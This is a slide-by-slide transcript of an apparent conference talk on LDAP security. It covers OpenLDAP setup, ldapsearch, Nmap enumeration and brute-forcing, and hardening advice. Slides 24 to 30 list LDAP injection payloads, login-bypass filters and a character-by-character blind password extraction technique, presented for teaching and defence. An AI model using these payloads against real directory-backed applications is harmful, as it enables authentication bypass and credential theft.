ldap security - emre Övünç · ldap security emre ÖvÜn ... bsd-license. openldap components •...

43
LDAP Security Emre ÖVÜNÇ [email protected]

Upload: others

Post on 26-Jun-2020

11 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP SecurityEmre ÖVÜNÇ

[email protected]

Page 2: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

Who am I ?

• Attack Developer – Picus Security • Security Researcher - Synack

• OSCE – OSCP – OSWP• LFCE – LFCS – ISO27001 LA

• https://github.com/EmreOvunc• https://twitter.com/EmreOvunc

Page 3: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

Lightweight Directory Access Protocol

• TCP/IP

• Client – Server

• X.500 Protocol (1988-1993) | OSI

Page 4: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

What is LDAP ?

• Protocol

• Database• Organizations• Units• People• Resources• Devices

• Authentication mechanism

Page 5: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

Aim ?

• Access control• Privacy• Security• Authentication

• User management• Delegation• Rights

• Scaling

Page 6: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

OpenLDAP

Open-source Free BSD-

License

Page 7: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

OpenLDAP Components

• Slapd• Daemon• Receives connections

• Libraries & Utilities

• Client

Page 8: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP Server

Ldap-utils Slapd Phpldapadmin Apache2 Bind9

LDAP Server

Ldap-utils Slapd Phpldapadmin Apache2 Bind9

Page 9: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP Server Configuration

Page 10: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

Search Parameters

ldapsearch –H ldap://172.16.155.128 –D ”cn=admin,dc=ovunc,dc=local” –W

-H: LDAP Uniform Resource Identifier(s)-D: bind DN-W: prompt for bind password

DC: domain componentDN: distinguished nameCN: common nameOU: organizational unit nameUID: user id

Page 11: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP Anonymous Authentication

Page 12: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP Simple Authentication

Page 13: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP Configuration

Page 14: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP Simple Authentication

Page 15: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP Anonymous Authentication

Page 16: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP Configuration

Page 17: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP Anonymous Authentication

Page 18: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

Nmap LDAP Enumeration

Page 19: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

Nmap LDAP Enumeration

Page 20: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

Nmap LDAP Bruteforcing

Page 21: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP Filters

Operator Description Example

= Exactly match cn=admin

* Indicates zero or more character

ou=*

>= Greater than or equal uid >=

<= Less than or equal uid >=

=* One or more values cn=*

& And (&(filter)(filter(filter)

| Or (!(filter)(filter(filter)

! Not (!(filter))

Page 22: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP Filters Example

• (&(objectClass=group)(cn=admin))

• (&(objectClass=posix)(cn=*team*))

• (&(objectClass=inetOrgPerson)(memberOf=cn=Admins,ou=redteam))

Page 23: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP Web Application

<input type="text" name="user">Enter the username</input>

ldap_query = “(cn=" + $user + ")”

run(ldap_query)

???

Page 24: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP Web Login Bypass

• (&(user=*)(password=*))

• (&(user=*))%00

• (&(user=*)(&))(password=*))

Page 25: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP Injection Payloads

**)(&*))%00*()|%26'*()|&'*(|(mail=*))*(|(objectclass=*))*)(uid=*))(|(uid=**/*

Page 26: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP Injection

(&(sn=admin)(password=*))(&(sn= admin)(password=a*))(&(sn= admin)(password=b*))

...(&(sn= admin)(password=m*))(&(sn= admin)(password=my*))

…(&(sn=admin)(password=myPassw0rd))

Page 27: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP Injection Question ?

(&(objectClass=[class name])(ou=[unit name]))

(&(objectClass=posix)(ou=redteam))

Page 28: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP Injection Answer

(&(objectClass=[class name])(ou=[unit name]))

(&(objectClass=*)(objectClass=*)(ou=*))

(&(objectClass=*)(objectClass=*) =*))(&(objectClass=foo)( ou=*))

(&(objectClass=*)(objectClass=*))(&(objectClass=people)(ou=redteam))

Page 29: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP Injection Question ?

(&(deviceid=[id])(cn=[device name]))

(&(deviceid=34)(cn=nasbackup))

Page 30: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP Injection Answer

(&(deviceid=[id])(cn=[device name]))

(&(deviceid=34)(ou=a*)(cn=nasbackup))(&(deviceid=34)(ou=b*)(cn=nasbackup))…(&(deviceid=34)(ou=re*)(cn=nasbackup))…(&(deviceid=34)(ou=redteam)(cn=nasbackup))

Page 31: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP Hardening

Input validation (ldap queries)

Least privilege (users & devices)

AppArmor & SELinux configurations

LDAPs (secure connection)

Backup (encrypt & sign)

Page 32: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP Server Hardening

Reject requests;No password,Null password,Unauthenticated,Anonymous users/sessions.

Do not use:SHA-1,LDAPv2,Weak passwords.

Page 33: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

• OpenLDAP before 2.4.48

• Administrator delegation -> rootDN

• Slapd service• Authorization

• CVSS 4.9 (NVD)

CVE-2019-13057

Page 34: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

• OpenLDAP 2.x before 2.4.48

• SASL authentication• Session Encryption

• ACL configuration• Successful authorization

(different user)

• CVSS 7.5 (NVD)

CVE-2019-13565

Page 35: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

Lab

Page 36: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP Lab Objects

Page 37: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP Lab Objects

Organization: redteam

Organization Unit: people

Posix Group: nettim

Users: admin, bob

Page 38: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

Demo Time

Page 39: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP Tool J

• git clone https://github.com/EmreOvunc/eLdap-Ldap-Search-and-Filter.git

• cd eLdap-Ldap-Search-and-Filter • sudo pip3 install virtualenv• source myvenv/bin/activate • python3 manage.py runserver

Page 40: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP Tool Vuln.

Page 41: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP Tool Attack… not yet!

Page 42: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

References

• https://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf

• https://ldap.com/ldap-filters/

• https://www.cvedetails.com/vulnerability-list/vendor_id-439/Openldap.html

Page 43: LDAP Security - Emre Övünç · LDAP Security Emre ÖVÜN ... BSD-License. OpenLDAP Components • Slapd • Daemon • Receives connections • Libraries & Utilities • Client

LDAP SecurityEmre ÖVÜNÇ

[email protected] 16/04/2020